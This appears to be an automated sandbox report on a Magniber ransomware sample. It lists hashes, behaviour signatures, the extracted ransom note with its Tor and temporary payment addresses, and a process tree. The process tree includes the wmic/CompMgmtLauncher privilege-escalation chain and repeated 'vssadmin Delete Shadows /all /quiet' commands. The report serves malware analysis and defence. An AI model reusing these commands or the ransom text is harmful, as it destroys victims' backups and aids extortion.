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Overview

overview

10

Static

static

magnibar_2...6b.exe

windows7_x64

10

magnibar_2...6b.exe

windows10_x64

10

Analysis

  • max time kernel
    300s
  • max time network
    261s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    22/07/2021, 19:23

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General

  • Target

    magnibar_2cf60c433df3dcc84b80e18c93e578bf18b31c5c49777953702c53166275796b.exe

  • Size

    21KB

  • MD5

    2953b6ec692537f8eace1077081f9e43

  • SHA1

    6db28862c0dbb589b918f812ff61cfdac0248eab

  • SHA256

    2cf60c433df3dcc84b80e18c93e578bf18b31c5c49777953702c53166275796b

  • SHA512

    11959d3841c3824e5d4c68771f67db6227423d99f5beb6559c165081b6300fb3553633ce871157bd972845730fcc9e1201c10507f114d7458b3940c8cdf0ca85

Score
10/10
magniberransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note
ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://0a9858c862607e508kmxfykjdz.5s4ixqul2enwxrqv.onion/kmxfykjdz Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://0a9858c862607e508kmxfykjdz.bestep.cyou/kmxfykjdz http://0a9858c862607e508kmxfykjdz.plughas.casa/kmxfykjdz http://0a9858c862607e508kmxfykjdz.ownhits.space/kmxfykjdz http://0a9858c862607e508kmxfykjdz.dayhit.xyz/kmxfykjdz Note! These are temporary addresses! They will be available for a limited amount of time!
URLs

http://0a9858c862607e508kmxfykjdz.5s4ixqul2enwxrqv.onion/kmxfykjdz

http://0a9858c862607e508kmxfykjdz.bestep.cyou/kmxfykjdz

http://0a9858c862607e508kmxfykjdz.plughas.casa/kmxfykjdz

http://0a9858c862607e508kmxfykjdz.ownhits.space/kmxfykjdz

http://0a9858c862607e508kmxfykjdz.dayhit.xyz/kmxfykjdz

Signatures

  • Magniber Ransomware

    Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.

    ransomwaremagniber
  • Process spawned unexpected child process 8 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies extensions of user files 9 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Interacts with shadow copies 2 TTPs 4 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Internet Explorer settings 1 TTPs 34 IoCs
    adwarespyware
  • Modifies registry class 11 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 61 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Modifies registry class
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1200
    • C:\Users\Admin\AppData\Local\Temp\magnibar_2cf60c433df3dcc84b80e18c93e578bf18b31c5c49777953702c53166275796b.exe
      "C:\Users\Admin\AppData\Local\Temp\magnibar_2cf60c433df3dcc84b80e18c93e578bf18b31c5c49777953702c53166275796b.exe"
      2⤵
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:320
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1236
        • C:\Windows\system32\wbem\WMIC.exe
          C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
          4⤵
            PID:796
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1524
        • C:\Windows\system32\wbem\WMIC.exe
          C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:596
    • C:\Windows\system32\Dwm.exe
      "C:\Windows\system32\Dwm.exe"
      1⤵
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:1168
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1044
        • C:\Windows\system32\wbem\WMIC.exe
          C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
          3⤵
            PID:928
      • C:\Windows\system32\taskhost.exe
        "taskhost.exe"
        1⤵
        • Modifies extensions of user files
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:1088
        • C:\Windows\system32\notepad.exe
          notepad.exe C:\Users\Public\readme.txt
          2⤵
          • Opens file in notepad (likely ransom note)
          PID:1584
        • C:\Windows\system32\cmd.exe
          cmd /c "start http://0a9858c862607e508kmxfykjdz.bestep.cyou/kmxfykjdz^&1^&38399440^&81^&337^&12"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1796
          • C:\Program Files\Internet Explorer\iexplore.exe
            "C:\Program Files\Internet Explorer\iexplore.exe" http://0a9858c862607e508kmxfykjdz.bestep.cyou/kmxfykjdz&1&38399440&81&337&12
            3⤵
            • Modifies Internet Explorer settings
            • Suspicious behavior: GetForegroundWindowSpam
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:1924
            • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
              "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1924 CREDAT:275457 /prefetch:2
              4⤵
              • Modifies Internet Explorer settings
              • Suspicious use of SetWindowsHookEx
              PID:1684
        • C:\Windows\system32\cmd.exe
          cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1520
          • C:\Windows\system32\wbem\WMIC.exe
            C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1432
      • C:\Windows\system32\cmd.exe
        cmd /c CompMgmtLauncher.exe
        1⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:528
        • C:\Windows\system32\CompMgmtLauncher.exe
          CompMgmtLauncher.exe
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1108
          • C:\Windows\system32\wbem\wmic.exe
            "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
            3⤵
              PID:1456
        • C:\Windows\system32\cmd.exe
          cmd /c CompMgmtLauncher.exe
          1⤵
          • Process spawned unexpected child process
          • Suspicious use of WriteProcessMemory
          PID:1928
          • C:\Windows\system32\CompMgmtLauncher.exe
            CompMgmtLauncher.exe
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:824
            • C:\Windows\system32\wbem\wmic.exe
              "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
              3⤵
                PID:804
          • C:\Windows\system32\cmd.exe
            cmd /c CompMgmtLauncher.exe
            1⤵
            • Process spawned unexpected child process
            • Suspicious use of WriteProcessMemory
            PID:1772
            • C:\Windows\system32\CompMgmtLauncher.exe
              CompMgmtLauncher.exe
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2040
              • C:\Windows\system32\wbem\wmic.exe
                "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
                3⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:928
          • C:\Windows\system32\cmd.exe
            cmd /c CompMgmtLauncher.exe
            1⤵
            • Process spawned unexpected child process
            • Suspicious use of WriteProcessMemory
            PID:1944
            • C:\Windows\system32\CompMgmtLauncher.exe
              CompMgmtLauncher.exe
              2⤵
                PID:1628
                • C:\Windows\system32\wbem\wmic.exe
                  "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
                  3⤵
                    PID:1756
              • C:\Windows\system32\vssadmin.exe
                vssadmin.exe Delete Shadows /all /quiet
                1⤵
                • Process spawned unexpected child process
                • Interacts with shadow copies
                PID:1016
              • C:\Windows\system32\vssadmin.exe
                vssadmin.exe Delete Shadows /all /quiet
                1⤵
                • Process spawned unexpected child process
                • Interacts with shadow copies
                PID:456
              • C:\Windows\system32\conhost.exe
                \??\C:\Windows\system32\conhost.exe "2061577905-1158416065-984416716-256064404-84625758417910552512048719746202819155"
                1⤵
                • Suspicious use of WriteProcessMemory
                PID:1628
              • C:\Windows\system32\vssadmin.exe
                vssadmin.exe Delete Shadows /all /quiet
                1⤵
                • Process spawned unexpected child process
                • Interacts with shadow copies
                PID:1160
              • C:\Windows\system32\vssadmin.exe
                vssadmin.exe Delete Shadows /all /quiet
                1⤵
                • Process spawned unexpected child process
                • Interacts with shadow copies
                PID:1760
              • C:\Windows\system32\vssvc.exe
                C:\Windows\system32\vssvc.exe
                1⤵
                  PID:1192

                Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                • memory/320-65-0x0000000001CA0000-0x0000000001CA1000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/320-63-0x0000000000300000-0x0000000000301000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/320-101-0x0000000001FE0000-0x0000000001FE1000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/320-61-0x00000000002E0000-0x00000000002E1000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/320-62-0x00000000002F0000-0x00000000002F1000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/320-69-0x0000000001D00000-0x0000000001D01000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/320-64-0x0000000001B40000-0x0000000001B41000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/320-71-0x0000000001D20000-0x0000000001D21000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/320-70-0x0000000001D10000-0x0000000001D11000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/320-59-0x0000000000020000-0x0000000000025000-memory.dmp

                  Filesize

                  20KB

                  Download

                • memory/320-66-0x0000000001CB0000-0x0000000001CB1000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/320-67-0x0000000001CC0000-0x0000000001CC1000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/320-68-0x0000000001CF0000-0x0000000001CF1000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/1088-72-0x0000000001C20000-0x0000000001C24000-memory.dmp

                  Filesize

                  16KB

                  Download

                • memory/1200-60-0x00000000025E0000-0x00000000025F0000-memory.dmp

                  Filesize

                  64KB

                  Download

                • memory/1584-74-0x000007FEFB531000-0x000007FEFB533000-memory.dmp

                  Filesize

                  8KB

                  Download